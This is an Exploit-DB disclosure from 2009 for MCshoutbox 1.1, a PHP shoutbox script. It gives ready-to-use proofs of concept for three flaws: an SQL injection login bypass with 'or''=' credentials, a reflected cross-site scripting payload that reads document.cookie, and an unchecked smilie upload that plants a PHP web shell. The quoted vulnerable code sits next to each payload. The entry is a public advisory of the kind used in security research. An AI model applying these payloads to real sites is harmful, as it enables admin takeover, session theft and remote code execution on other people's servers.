Exploit-DB #9205
Description: mcshoutbox 1.1 - SQL Injection / Cross-Site Scripting / shell
Type: webapps
Platform: php
Date: 2009-07-20
Author: SirGod

Exploit:
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[+] MCshoutbox 1.1 (SQL/XSS/Shell) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
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Homepage : http://www.maniacomputer.com/dload/MCshoutbox_Download_Page.html

[+] SQL Injection Login Bypass

 - Note : magic_quotes_gpc = off

 - Vulnerable code in scr_login.php

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$admin_name = trim($_REQUEST[ 'username' ]);
$admin_password = trim($_REQUEST[ 'password' ]);
 connect($host,$username,$password,$database);
$query = "SELECT * FROM admin_tbl WHERE admin_name = ''or''='' AND
admin_password = ''or''=''" ;
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 - PoC

  URL : http://127.0.0.1/[path]/admin_login.php
  Username : 'or''='
  Password : 'or''='

[+] Cross-Site Scripting

 - Vulnerable code in admin_login.php

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if(isset($loginerror)){ ?>
      <tr>
    <td colspan="2" align="center" style="font-size:18px;
color:#FFFFFF;" ><?echo $loginerror?></td>
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 - PoC

     http://127.0.0.1/[path]/admin_login.php?loginerror=<script>alert(document.cookie)</script>


[+] Shell Upload

 - Note : The extension of the file isn't checked so we can upload our
evil file.

 - Vulnerable code in admin.php

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if(isset($_POST['addsmilie'])){
                 $alt = $_POST['symbol'];
                $symbol = $_POST['symbol'];
                $img = $_FILES['image']['name'];
..............................................................................................................................................
				$uploadfile = $uploaddir . $_FILES['image']['name'];
..............................................................................................................................................
$upload = move_uploaded_file($_FILES['image']['tmp_name'], $uploadfile);
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 - PoC

     URL : http://127.0.0.1/[path]/admin.php?mode=add
     Symbol Emoticon : anything
     Path to Smilie : yourshell.php

  - You will find you shell here

        http://127.0.0.1/[path]/smilies/yourshell.php

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# milw0rm.com [2009-07-20]